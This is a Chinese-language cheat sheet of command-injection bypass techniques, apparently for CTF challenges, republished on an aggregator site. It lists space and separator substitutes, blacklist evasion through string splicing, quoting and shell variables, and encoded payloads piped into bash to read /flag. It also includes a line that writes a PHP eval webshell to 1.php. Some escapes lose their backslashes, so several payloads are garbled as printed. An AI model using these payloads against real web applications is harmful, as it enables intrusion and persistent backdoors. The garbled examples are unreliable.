命令执行汇总

Posted haozhizhi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了命令执行汇总相关的知识,希望对你有一定的参考价值。

命令执行汇总
 
① 空格过滤
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
 
② 一些命令分隔符
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
 
③ 花括号的别样用法
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
{cat,flag}
技术图片
 
④ 黑名单绕过
1、拼接绕过
比如:a=l;b=s;$a$b
上面的第二道题目也是利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
2、编码绕过
base64:
 
echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
hex:
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
oct:
$(printf "154163") ==>ls
$(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag
{printf,"x63x61x74x20x2fx66x6cx61x67"}|$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST[‘c‘]);?>
${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php
 
3、单引号和双引号绕过
比如:ca‘‘t flag 或ca""t flag
4、反斜杠绕过
比如:ca flag
5、利用Shell 特殊变量绕过
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示
比如:ca$@t fla$@g
ca$1t fla$2g
⑤长度限制
长度限制可以用文件构造的方式来绕过。
 
⑨ linux中直接查看文件内容的工具
cat、tac、more、less、head、tail、nl、sed、sort、uniq、

以上是关于命令执行汇总的主要内容,如果未能解决你的问题,请参考以下文章

shell脚本常用命令汇总

Linux 一些小知识点汇总(持续更新....)

windows网络命令汇总

shell问题汇总

oracle sqlplus命令汇总

我所遇到的shell小知识点汇总